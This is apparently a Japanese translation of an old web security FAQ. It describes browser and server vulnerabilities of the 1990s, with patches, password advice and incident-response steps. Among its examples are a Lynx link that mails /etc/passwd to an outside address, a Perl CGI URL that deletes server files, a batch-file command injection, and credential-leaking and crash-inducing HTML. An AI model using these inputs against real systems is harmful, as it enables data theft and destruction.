ただし、URL と証明書の内容が一致しても、ページの内容が Web サイトの承認したコンテンツであることが常に保証されているわけではありません。 1998 年 11 月、Netscape Navigator および Microsoft Internet Explorer の新しいバージョンで、思いもよらない欠点が 明るみに出ました。このバグにより、信頼される Web サイトの複数のフレームに、不当な Web サイトが独自のコンテンツを挿入することが可能になりました。この場合、コンテンツは信頼されるサイトから表示されたように見えますが、 実際には不当な第三者から表示されているものです。 URL が正しく表示され、電子証明書の内容が信頼できないとしたら、 どうしたらいいのでしょうか。このバグについては、以下を参照してください。
Web マスターからよく寄せられるのが、マテリアルを侵害されないようにするにはどうしたら良いか という質問です。あるユーザがインターネット上で公開した文書をコピーし、 個人的に利用するのを止めることは残念ながらできません。しかし、こうした流用を防ぎ、違反した場合は起訴できるよう、 画像、サウンド、およびその他のバイナリ形式データについて電子的な「すかし」の著作権を付与する手段があります。 これに関するリンク集については、the Bilderbank digital watermarking pages、Alessandro Piva's digital watermarking pages、Digital watermarking, steganograph & information hidingを参照してください。
また、ユーザの承諾をもらわずに CGI スクリプトおよび画像に別の不当なサイトがリンクすること、 つまりフリーロードされるのを防ぐには、Referer フィールドでアクセス制限を設定します。 これを行うには、不当な HTTP リクエストフィールドによるリクエストにフィルタをかけることができる Web サーバが必要です。Referer フィールドが定義されていない古いクライアントのリクエストと、 Referer フィールドが自分のサイトのページを示しているクライアントのリクエストを許可するように指定できます。 関連のないサイトの Referer フィールドを持つクライアントのアクセスは拒否されます。リモートサイトがそのサイトを <IMG>および <FORM> タグのターゲットとすることはできなくなります。
Apache Webサーバにオプションの mod_rewrite モジュールがあると、以下のような一連の指示でこれを行うことができます。
RewriteCond %{HTTP_REFERER} !^$ # Referer field exists
RewriteCond %{HTTP_REFERER} !^http://my.site.com/ [NC] # and not my site
RewriteRule [^/]+\.(gif|jpg)$ - [F] # No access to images
RewriteRule ^/cgi-bin/.+$ - [F] # No access to
CGIs
ご利用の Web サーバにこの機能があるかどうかについては、ベンダのマニュアルを調べてください。
侵入者がユーザの組織のシステム破壊に成功すると、ユーザ自身の操作によってシステムが破壊されたように見えるので、 ユーザに何らかの説明が求められるでしょう。LAN に接続していない場合でも問題はあります。 Windows ベースのファイル共有を行っているときは、ISP 経由でインターネットに接続している間に、 個人ファイルが盗まれたり破壊されたりする可能性があります。
これまでに3つの、別個ではあるが関連性のあるバグが見つかっています。最初に報告されたのは 1997 年 3 月 14 日、Aaron Spanger氏 によるもので、現時点ではまだ fix されていません。 これは、Windows 95、Windows NT、Windows 97 で実行されている Internet Explorer バージョン 3.01 以前 (Microsoft のセキュリティパッチを含む) で発生するバグです。 また、Windows NT システムおよび一部の Windows 95 システムで実行されている Netscape Navigator 3.01 (レギュラーおよび gold 版) および Netscape Communicator beta2 においても発生します (結果は様々です)。詳細については、以下を参照してください。
http://www.ee.washington.edu/computing/iebug/
二番目のバグは最初のバグの発見直後に Paul Ashton氏 が発見したもので、 Windows NT 3.51 / 4.0 (サーバ用およびワークステーション用) で実行されている IE (3.01 以前) で発生します。詳細については、以下を参照してください。 :
http://www.efsl.com/security/ntie/
1997 年 3 月 17 日に Steve Birnbaum 氏が報告した三番目のバグは、Windows 95 で実行されている Microsoft Internet Explorer (バージョン 3.01 以前) で発生します。詳細については、以下を参照してください。
http://www.security.org.il/msnetbreak/
これらのバグはすべて、ファイル共有を行うときにユーザを認証するための "challenge/response" モードで発生します。ここでは簡単に説明します。クライアントがサーバ (ファイルサーバ、Web サーバ、共有プリンタのいずれも含む) と通信しようとすると、サーバは、 任意に選択した "nonce" と延ばれる短いチャレンジ文字列をクライアントへ送信します。 クライアントはユーザのパスワードを使用して challenge を暗号化し、これとユーザ名、 およびその他の識別情報をサーバへ送信します。サーバは、ユーザのパスワードをパスワードデータベースから検索し、 検出したパスワードで challenge を暗号化します。この結果文字列とクライアントが送信した文字列を比較して一致すれば、 ネットワークにパスワードを送信しなくても、ユーザが正しいパスワードを認識しているとサーバが確認します。 この場合、暗号化されるのは「秘密」ではなく、暗号化鍵として使用されるパスワードであることに注意してください。
IE または Netscape で以下の URL を参照する場合 ("aa.bb.cc.dd" はリモートサーバのインターネットアドレス)、 ブラウザはローカルの LAN にあるファイルへアクセスするようにリモートファイルへアクセスしようとし、 上記の challenge/response システムによって認証を行おうとします。
このとき、ユーザへの通知は一切行われません。file://\\aa.bb.cc.ddd\path\to\file
パスワード解読攻撃では、ここに位置しているホストが、任意に選択されたものではなく一定の challenge 文字列を毎回送信するよう特別に修正されたモードの Windows ファイル共有サーバを実行しています。ユーザのマシンは疑いもせずにユーザのパスワードでその challenge を暗号化し、サーバに送信します。サーバ側では、ユーザの送信した暗号化パスワードと、 その challenge を暗号化するのに以前使用された無数のパスワードを含む辞書とを比較できるようになります。 一致するものがあれば、ユーザのパスワード推測に成功したわけです (この方法は "dictionary attack" と呼ばれています)。 分かりやすいパスワードをつける人は多いので、うまくdictionaly attackを行えば平均推定時間を4分の1ほどに短縮することもできます。 サーバがユーザのパスワードを推測できない場合でも、マシン名、ユーザ名、ドメイン名など他の有益な情報が収集されます。 UNIX ベースの Windows ファイル共有サーバに対するソースコードは広く普及しているので、このようにサーバを 修正することは比較的簡単です。
Steve Birnbaum 氏が発見したバグでは、パスワードは暗号化さえされません。単純なテキスト形式でパスワードが不当なサーバに送信されます。 Windows 95 では、前述のようにあまり技術的に高度ではない認証方法が使用されているからです。
こうした方法でパスワードが盗まれても、ユーザはそれに気づきません。不当な URL は画像の中に隠すことができます。 ダウンロードした全ページのソースコードを調べない限り、問題の画像は、そのWebの他の画像と何ら変わりないように見えます。 Windows 以外のブラウザを使用している場合は、「壊れた画像」のアイコンが表示されますが、これも不信の目が向けられる可能性が低いものです。
この問題を回避するにはどうしたら良いでしょうか。Microsoft および Netscape がこのバグを修正しない限り、 ユーザが対処できることはほとんどありません。できるとしたら、推測されにくいパスワードを作成することです。 なるべく長く、予測のしにくいものがいいでしょう。自分しか意味のわからない文章を利用するのも有効です。 以下に例を示します。
blue wire chair too cold in AMこの文字列から各単語の最初の文字 (あるいは三番目または最後) を取って並べると、 bwctciA というパスワードができます。こうして作成したパスワードを他人と共有したり、 LAN へのログイン以外に使用してはいけません。
1998 年 1 月以来、何度もこの種のバグが発生しています。最初は "mk" バグと呼ばれ、特殊な "mk"、すなわち Microsoft ヘルプを起動する URLが関連するものです。このバグ にはパッチが当てられましたが、間もなくこの変形バグが発生しました。それから 1998 年 4 月には、 <EMBED> タグの処理に関連するバグが発見されました。
このクラスのバグは非常に重要な問題を抱えています。Web ページ作成者に知識があれば、このバグを利用して、 ユーザに気づかれないうちにそのマシンで不当なマシンコードを実行することがことができます。 コードによって、ウィルスのインストール、ファイルへの干渉、他のセキュリティ機能を disable にするための Internet Explorer コピーのパッチなど、あらゆる操作を実行できます。ブラウザのセキュリティ設定を変更したり、 アクティブな文書を disable にしても、これらのバグには何ら影響しません。 幸いなことに、既知の全メモリオーバフローバグのパッチを、Microsoft の Web サイト http://www.microsoft.com/security/. で入手できます。Internet Explorer の 4.01 以前のバージョンをご利用の場合は、パッチをダウンロードして適用してください。 あるいは、特に目立つセキュリティ問題の見られない Internet Explorer 3.02 にダウングレードするのも 1 つの方法です。
Internet Explorer のバッファ・オーバフロー・バグについては、以下を参照してください。
http://l0pht.com/advisories/
このページでは、2 つの隣り合うフレームを定義しており、各フレームが元の文書を参照しています。 Internet Explorer がこのフレームセットを見つけると、文書をそれぞれのフレームへロードしようとします。 次に、各フレームにサブフレームを、その中にまたサブフレームを作成しようとします。 この動作が無限に繰り返され、ついには IE がメモリ不足になってクラッシュします。<HTML> <FRAMESET COLS="*,*"> <FRAME SRC="recursive.htm"> <FRAME SRC="recursive.htm"> </FRAMESET> </HTML>
このようなページはブラウザをクラッシュさせるという問題を起こしますが、 その他のセキュリティを脅かすものではありません。Netscape Navigator でも同じバグが発生するバージョンがありますが、4.0X シリーズでは問題がありません。
問題の原因は IE の「機能」に潜んでいます。ショートカットファイルは、通常はユーザがローカルマシンのファイルやプログラムにすばやくアクセスするために個人的に作成するものです。 ショートカットファイルが Web サーバにコピーされインターネット上でアクセス可能にされた場合、 ショートカットへのリンクをクリックすると、驚くべきことにユーザのローカルマシンにあるファイルのコピーを開くことが可能になります。 Windows レジストリエディタや DOS コマンドインタプリタなど、ファイルが実行可能プログラムであれば、 ユーザが知らないうちにそのプログラムが実行される危険性があるわけです。悪質な人物が、 複数のコマンドを .BAT ファイルにまとめ、怪しまれないようにユーザのブラウザキャッシュに格納し、 このファイルを実行することも可能です。
このバグは Windows 95 および Windows NT システムの両方に存在し、セキュリティレベルを最高にしても防ぐことはできません。 ActiveX または Java とは無関係です。HTML ファイル内のリンクだけでなく、 ニュースグループの記事や電子メールに埋め込まれたホットリンクでもこのバグは作用します。.
このバグを発見したのは Paul Greene 氏で、Geoffrey Elliot 氏と Brian Morin 氏の援助を受けてさらに調査を重ねました。 詳細については、(衝撃的な実例と共に) 以下を参照してください。http://www.cybersnot.com/iebug.html.
IE 3.01 以前のバージョンを実行している場合は、Microsoft Corporation のパッチを是非とも適用してください。http://www.microsoft.com/ie/security/update.htm. からダウンロードできます。このパッチを適用したら、[ヘルプ] メニューの [バージョン情報] を選択し、 IE のコピーが正しくアップデートされていることを確認してください。バージョンは "3.01b" と表示されるはずです。 パッチを適用すると、ショートカットファイルを開く前に警告メッセージが表示されるようになります。 通常、インターネットからダウンロードしたショートカットファイルは一切開かないほうがいいでしょう。
Internet Explorer のパッチ適用済みバージョンを実行しているかどうかを調べる簡単なテストがあります。以下のリンクを開いてみてください。 バイナリファイルを実行しようとしていることを知らせるメッセージが表示され、そのファイルを開くか保存するかを尋ねられれば、 パッチが適用されています。メモ帳が開くようであれば、パッチが適用されていません。
file:///C:\WINDOWS\NOTEPAD.EXE
1997 年 3 月 14 日、Microsoft は電子メールおよびニュース記事に添付されたショートカットファイルの問題についても処理しました。最初のパッチではこれらの問題を解決していませんでした。
ちなみに、インターネットとデスクトップの境界をなくそうという Microsoft の公式計画には欠点があります。 インターネット上、つまり外側にある信頼できないソフトウェアと、ユーザのローカルディスクで動作している信頼できるソフトウェアとが識別しにくいと、 ユーザはあらゆる妨害者にマシンを利用されてしまう方向へ簡単にミスリードされてしまうからです。私見としては、この戦略は危険を伴うものであると考えます。
Internet Explorer のセキュリティに関する FAQ については、以下にまとめられています。
IE のセキュリティ問題については、ここを参照してください。http://www.nwnetworks.com/iesf.html
現在は、ブックマークファイルだけに既知のバグがあります。Netscape Communicator では、 固定サイズバッファを割り当てて、ブックマークを付けたページのタイトルを保存します。 タイトルの異常に長いページにユーザがブックマークを付けると、次にそのブックマークにアクセスしたとき Netscape がクラッシュします。Internet Explorer のバグ同様、 このバグを使ってブラウザに不当なコードを実行させることができます。
現時点では、Netscape のどのバージョンでこの問題が発生するか不明です。Windows 95 および Windows NT システムで実行するバージョン 4.03 および 4.04 にはこのバグがあることがわかっています。 Macintosh および UNIX ポートの状況は不明です。このバグに対するパッチはまだ (1998 年 4 月 13 日現在) ありません。 しかし、ブックマークを付ける前にページをよく確認すれば回避できる問題です。そのページのタイトルが非常に長いか特殊な文字が含まれている場合は問題が発生する可能性があります。
これは、ユーザが提供したパラメータに、シェルのメタキャラクタが存在するかどうかをチェックしていないために生じる問題で、CGI 開発者が何年も起こしている失敗です。< a href="LYNXDOWNLOAD://Method=-1/File=`mail%20hackers@hack.com%3C/etc/passwd`/SugFile=test"> ここをクリック </a>
できるだけ早く Lynxを最新バージョンにアップグレードしてください。
このセキュリティ ホールの詳細は公開されていませんが、以下の場所に原文記事の説明があります。 http://www.sddt.com/files/library/98/06/25/tbc.html.
現在、Netscape は修正に取り組んでいるとのことです。パッチの入手については、Netscape のサイト を参照してください。 サーバサイドインクルードを使用する場合、パッチが入手可能になったら、 すぐにアップグレードすることを勧めます。
O'Reilly の WebSite と WebSite Professional サーバ も、このバグに対して脆弱です。 Microsoft IIS サーバは、脆弱ではないようです。
このバグは、Enterprise Server 3.5.1 以降で修正されています。 ( ここ)をクリックしてテクニカル・ノートを参照してください。） FastTrack サーバに使用可能なパッチがあるかどうかわかりませんが、1998年6月30日現在でのバージョンは 3.01 のままです。
同じバグが Microsoft IIS サーバに存在します。 O'Reilly の WebSite Professional は問題ないとのことです。
残念ながら、この方法ではインターネット上の誰もが、 /cgi-bin/perl.exe?&- e+unlink+%3C*%3E (実行時、この URL はサーバのカレントディレクトリ中のすべてのファイルを削除します) のようなスクリプトを呼び出すことによって、サーバ上で任意の Perl コマンドを実行することができます。これは良くないことです。最新の Netscape 技術ノートでは、 Perl スクリプトを .bat ファイル中にカプセル化することを勧めています。しかし、 バッチスクリプトと関連する問題があるため、この方法は安全ではありません。
BEMWACS、PurveyorやWebSite NT サーバではすべて、ファイルマネージャの拡張子関連付けが使用されているため、 perl.exe を cgi-bin に置かずに、これらのサーバ上の perl スクリプトをに実行することができます。 これらのサーバにはこのバグはなく、安全です。
Ian Redfern氏は、.bat ファイルで実行される CGI スクリプトの処理において、同様の問題が存在することを発見しました。以下は、この問題を述べた彼のメールからの抜粋です。
以下のtest.batを例に取ります。
@echo off
echo Content-type: text/plain
echo
echo Hello World!
これが "/cgi-bin/test.bat?&dir" として呼び出された場合、CGI プログラムが表示され、
次にディレクトリリストが表示されます。
サーバは、/bin/sh と同じ方法でコマンドインタプリタが処理している (無分別にではなく)
システム ("test.bat &dir") を実行しているように見えます。そして、完了すると、dir コマンドを実行します。
このセキュリティホールの詳細は公開されていませんが、以下の場所に原文記事の説明があります。http://www.sddt.com/files/library/98/06/25/tbc.html.
O'Reilly は、 WebSite と WebSite Professional バージョン 2.3 にfixを行う予定であると発表しました。 サーバサイドインクルードを使用する場合には、アップグレードを行なう必要があります。
Windows ベースの Netscape サーバ も、このバグに対して脆弱です。 Microsoft IIS サーバは、脆弱ではないようです。
このセキュリティホールは、バージョン 1.1c で fix されています。WebSite ホームページにあるパッチを使用して、 このバージョンにアップグレードしてください。
WebSite の .bat ファイルのセキュリティホールを防ぐために必要な処置の詳細については、 WebSite の開発者が提供しているこのページ にあります。
パッチは、Microsoft の セキュリティ・ページで入手可能です。IIS の新しいバージョンは問題ありません。
同じバグが Netscape Enterprise server と Commerce serverにに存在します。WebSite Professional の最近のバージョンは問題ないとのことです。
Microsoft はこのバグに対するパッチをリリースし、 http://www.microsoft.com/infoserv で入手が可能です。また、1996 年 3 月 5 日以後にダウンロードした IIS サーバのすべてのファイルには、 このバグはありません。IIS サーバを使用する場合には、サーバのバイナリの作成日を確認し、必要に応じてアップグレードする必要があります。
バージョン 3.0 までの Microsoft IIS は、リモートユーザが、ローカルネットワーク構成、 データベースの名前、またはベンダの値引き計算に使用されるアルゴリズムについての機密情報を密かに見るために、 実行スクリプトのコンテンツをダウンロードしたり、読むことができるバグに対して脆弱です。 このバグは、実行と読み出しの両方のパーミッションを持つディレクトリに、スクリプトがマップされたファイルがあるときに生じます。リモー トユーザは、その URL の最後にピリオドを付加するだけで、そのスクリプトをダウンロードすることができます。 このバグを回避するには、スクリプトを含むすべてのディレクトリで、読み込み許可をオフにします。 あるいは、以下の場所でMicrosoft が提供するパッチをダウンロードしてください。
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp2/iis-fix
クラッシュに必要な URL の正確な長さは、サーバの種類によって異なり、またメモリ使用などの問題によって決まります。 クラッシュが起こるのは、通常、約 8,192 文字で、メモりバッファ・オーバフローによる問題であることが明らかになっています。 過去に、知識のあるクラッカーがよくこの問題を利用して、サーバ上のリモートコマンドを実行してきており、 このバグは単に厄介であるという以上の問題に発展する可能性があります。
パッチは Microsoft の以下のサイトで入手できます。 ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/iis-fix
Windows NT 版の JavaWebServer は、リモートユーザによる Java servlet のソースコードのダウンロードを可能にするバグに対して脆弱です。 このバグは、Windows NT 版のO'Reilly WebSite Professional と Netscape Enterprise Server で確認されたものに類似しています。servlet の URL の終わりにある文字を付加することにより、 リモートユーザが、サーバを騙して、コンパイルした servlet を自分に送らせ、その servlet を、 Mocha のような製品を使用して逆コンパイルすることができます。servlet には独自コード、 取引上の秘密や、データベースアクセスのパスワードが含まれていることがあるため、この問題は重大です。
Sun はこの問題に対する fix をまだ発表していません。詳細については、Sun の Web サイトで確認してください。詳細については、以下で参照できます。 http://www.sddt.com/files/library/98/06/29/tbd.html
このバグを発見した Jeff Forristal 氏によると、MetaWeb は Microsoft IIS サーバの初期のバージョンで起きた 「ダブルドット (複付点)」問題に脆弱性があるそうです。URL のパスに ".." と２つのドットを入れると、サーバは騙されて、Windows システムディレクトリ中の文書を含む、 Web 文書のルート以外のディレクトリにアクセスを許可してしまいます。これによって、 パスワードのファイルや他の機密情報の検索が可能になります。さらに、この攻撃に変化を加えると、 リモートユーザは、サーバマシン上にインストールされている実行可能なバイナリをどれでも実行できるようになります。
MetaWeb は、まだアップグレードされておらず、パッチも提供されていません。 fix が用意されたら、アップグレードすることを強く勧めます。それまでは、Web インターフェイス経由のリモート管理を無効にするのが有効です。
MetaInfo のバグの詳細については、Jeff Forristal氏のサイトに掲載されています。
最近、安全な CGI スクリプトの書き方の手本として長年 NCSA httpd とともに配布されていた C のサンプルコード (cgi_src/util.c) において、シェルに渡すべきではない文字のリストから、 改行文字が抜けていたことが明らかになりました。この脱落によって、そのサンプルコードを基に書かれたすべての CGI スクリプトに重大なバグが生じます。リモートユーザはこのバグを利用して、 CGI スクリプトに任意の UNIX コマンドを実行させることができます。これは、 CGIスクリプトからシェルコマンドが実行される危険性 を示すもう一つの例です。
さらに、NCSA サーバのコードソースツリーそれ自体に、同じバグ (バージョン1.5a 以前) があります。バグがあるサブルーチンはまったく同じものですが、この場合では、 cgi_src/util.c の反対にある、ファイル src/util.c にあります。サーバソースコードをよく調べましたが、 このサブルーチンによって処理された後、ユーザが与えた文字列がシェルに渡される場所を見つけることはできませんでした。 したがって、著者はこの問題はセキュリティホールとして考えていません。 しかし、念のために以下に示すパッチを適用しておくと良いでしょう。
バージョン 1.02 以前の Apache サーバにも、cgi_src と src/ の両方のサブディレクトリにこの欠陥があります。 NCSA ソースコードの他の系列には、同じ問題はないようです。
2 つの util.c ファイル中の欠陥を fix するパッチは単純です。"phf" とこのライブラリを使用するすべての CGI スクリプトは、 このパッチ (GNU パッチプログラムは ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz) にあります) の適用後、再コンパイルする必要があります。このパッチは 二回適用する必要があり、 一回目は cgi_src/ サブディレクトリ内で、もう一 回は src/ ディレクトリの中で行ないます。
tulip% cd ~www/ncsa/cgi_src
tulip% patch -f < ../util.patch
tulip% cd ../src
tulip% patch -f < ../util.patch
---------------------------------- ここで切り取る ----------------------------------
*** ./util.c.old Tue Nov 14 11:38:40 1995
--- ./util.c Thu Feb 22 20:37:07 1996
***************
*** 139,145 ****
l=strlen(cmd);
for(x=0;cmd[x];x++) {
! if(ind("&;`'\"|*?~<>^()[]{}$\\",cmd[x]) != -1){
for(y=l+1;y>x;y--)
cmd[y] = cmd[y-1];
l++; /* length has been increased */
--- 139,145 ----
l=strlen(cmd);
for(x=0;cmd[x];x++) {
! if(ind("&;`'\"|*?~<>^()[]{}$\\\n",cmd[x]) != -1){
for(y=l+1;y>x;y--)
cmd[y] = cmd[y-1];
l++; /* length has been increased */
---------------------------------- ここで切り取る ----------------------------------
1.1.3 以前の Apache サーバには、さらに重大なセキュリティホールが 2 つあります。一番目のセキュリティホールは、 "mod_cookies" モジュールでコンパイルされたサーバに影響を及ぼします。 このモジュールでコンパイルされたサーバには、リモートユーザが極端に長いクッキーをサーバに送り、 プログラムスタックをオーバーランさせることにより、潜在的に任意のコマンドの実行を可能にする脆弱性があります。 これによって、リモートユーザがサーバホストにアクセスが可能になるため、脆弱性は、ローカルユーザにしか利用できなかった前述のセキュリティホールよりもはるかに著しいものとなります。
1.1.1 の二番目のセキュリティホールは、自動ディレクトリリストに影響を及ぼします。通常、ディレクトリに "index.html" のような "welcome page" がある場合には、ディレクトリ・リストを得ることはできません。 バグによって特定の環境下でこのチェックが失敗し、welcome page が存在しても、リモートユーザはディレクトリの内容を見ることができます。 このセキュリティホールは、前者ほど深刻ではありませんが、それでも潜在的に情報が漏れる恐れがあります。
詳細および Apache の最新バイナリは、以下の場所にあります。
http://www.apache.org/
また最近よく知られたものとして、Netscape Secure Commerce Server が機密通信の暗号化で使用するシステムがクラックされる事件が二件起きました。 一件目は、Netscape の、セキュリティが不完全な 40 ビットの暗号化キーで暗号化されたメッセージが、 ワークステーションのネットワークを使ってbrute force方式によりクラックされた問題です。 アメリカとカナダ内での通信に使用されている 128 ビットの暗号化キーは、この種の攻撃を受ける心配がないとされています。
二件目は、暗号化キーを生成するためにこのサーバ内で使用する乱数発生プログラムが、 比較的推測しやすく、クラックプログラムを使用すると素早く鍵が推測できることがわかったという問題です。 最近のリリースでは、この欠陥は修正されているので、暗号を使用して安全に通信したい場合は、 現在のバージョンにアップグレードをする必要があります。 この欠陥を完全に防ぐには、サーバとブラウザの両方をアップグレードする必要があります。 詳細については、以下を参照してください。 http://home.netscape.com/newsref/std/random_seed_security.html for details.
IBM の Richard L. Gray 氏(rlgray@us.ibm.com>) によると、既知の問題はすべて、バージョン 4.2.1.3 以降で fix されたとのことです。 また、Lotus Domino Go は現在、Windows 95、Windows NT、OS/390、HPUX や、Solaris のシステムで動作します。
WebSTAR サーバ自身のセキュリティに関する限り、WebSTARは UNIX や Windows のサーバよりも 安全と考えられます。Macintoshはコマンドシェルがなく、リモートログインもできないため、 Mac は本質的に他のプラットフォームよりも安全であると考えられているのです。事実、 この考えはこれまで実証されています。WebSTAR または WebSTAR の原型のシェアウエア MacHTTP のどちらにも、 セキュリティ問題は特に確認されていません。
1966 年の初めに、WebSTAR の開発元の StarNine を含む、Macintosh インターネットソフ トウェア開発企業コンソーシアムは、WebSTAR ソフトウエアが動作する Macintosh 上で、パスワードで保護された Web ページを解読できた人に $10.000 の報奨金を支払うと発表しました。 この挑戦の詳細については Tidbits#317/04-Mar-96 に述べられていますが、45 日間経っても、誰も賞金獲得には至りませんでした。
従来の方法では誰も Macintosh のホストに容易に侵入することはできませんが、潜在的なセキュリティホールは以下のように存在します。
(この情報は、Paul DuBois 氏 dubois@primate.wisc.edu> によって提供されました）。
また、攻撃者は、攻撃の踏み台として非営利のコンピュータを最も多く利用します。 一般的に、非営利のコンピュータへの侵入は容易だからです。大学のシステムは格好の踏み台です。 大学はしばしば人員不足であったり、大学のシステムは、学生が学習のためにシステムを利用できるようにセキュリティレベルが最小に設定されているからです。 さらに、これは国内だけの問題ではありません。世界中のすべてのインターネットサーバが攻撃の踏み台として使用される可能性があります。
それでも、DDoS を防ぐための最も単純で効果的な解決方法は、地球規模で協力してインターネットを守る試みです。 したがって、まず、自分のインターネット・コンピュータが知らないうちに DDoS 攻撃の踏み台として使用されていないことを確認するために、 スキャンを行うことが必要です。これは単にインターネット市民にふさわしい行動というだけではありません。 これにより、DDoS 攻撃が起きたとき、自分のインターネットコンピュータは怪しくないということを記録し、 証明することも可能になります。
たとえば、クリントン大統領は、DDoS や他のサイバー犯罪と戦うために、大学新卒で構成する情報警備の 「サイバー部隊」を作ることを提案しました。この提案は賢明ではありますが、そのようなグループに入りたいというコンピュータサイエンスの学生が殺到するでしょうか？ コンピュータサイエンスの学生は一般的に、科学には興味がありますが、警察には興味がありません。 したがって、クリントンの提案が通った場合、政府が優秀な学生を惹きつけて「サイバー警察」に入れることができるかどうかがみものです
しかし手に負えない攻撃が続くようなら、政府は介入の度合いを深めざるを得ないということも付け加えておいた方がいいでしょう。 政府が、攻撃の問題は解決したいが介入は避けたいというどっちつかずの態度を取ると、企業からは無視されるだけです。たとえば、 Federal Computer Week の2000年2月6日号では、「FBIのWebページで提供されているフリー・セキュリティ・ツールのダウンロード件数はわずか2,600件だった。このソフトウェアは DoSコードを検出するためのもので、12月から公開されている」と報じられています。
問題対処方法の詳細については、以下を参照してください。 http://www.cert.org/tech_tips/root_compromise.html.問題発生が疑われた時から始まって、最初からすべてを記録してください。危険性の度合いによって、 技術、法律面の両方でこの記録が役に立ちます 会社が不正を受けたことに関する情報をあまり漏らさないようにしてください。 情報の漏洩は、不利になることがあり、メディアが介入してくる原因にもなります。問題解決を直接支援する人、 上司や取締官にだけ知らせるようにします。 会社の中で最も強力なセキュリティの専門家に連絡して、支援を求めてください。誰もいない場合には、 実行しているオペレーティングシステムやシステムソフトウエアに関する問題対処に通じているコンサルティング会社に即時支援を依頼するよう、 管理者に頼んでください。 不正が行われたコンピュータを物理的にネットワークから外します (ネットワークケーブルを抜いてください)。 それが基幹コンピュータの場合には、利用可能であれば、ホットバックアップサーバを利用します。 ホットバックアップサーバの利用ができない場合には、ダウンタイムは避けられません。 不正が行われたが起きたコンピュータのファイルシステムのバックアップを行ないます。 オペレーティングシステムによって管理されている動的データテーブルをすべて標準ファイルにダンプしてから、 バックアップを始めます。そうすれば、テーブルをあとで分析することができます。 たとえば、現在実行中のプロセス、現在ログイン中のユーザ、現在のネットワークへの接続のリストは、 単層ファイルにダンプします。次に、2 つの異なるバックアッププログラムを使用して、 システムのバックアップを 2 つ作成します。 不正が行われたコンピュータをシャットダウンします。 コンピュータを再起動します。 システムソフトウエアに使用されているドライブを再フォーマットします。 オペレーティングシステムを再インストールします。 オペレーティングシステムのパッチをすべて適用します。 システムの「強化」を行ないます。オペレーティングシステム固有の設定を行なうことで、一般に知られている脆弱点を無効にします。 ファイルシステムをリストアします。システムファイルを上書きしないで、手動でパスワードファイルを調べてから、リストアします。 コンピュータをネットワークに接続します。 ネットワーク上のすべてのコンピュータを確認して、他に同様の脆弱点が利用されていないか調べます。
| 目次へ戻る |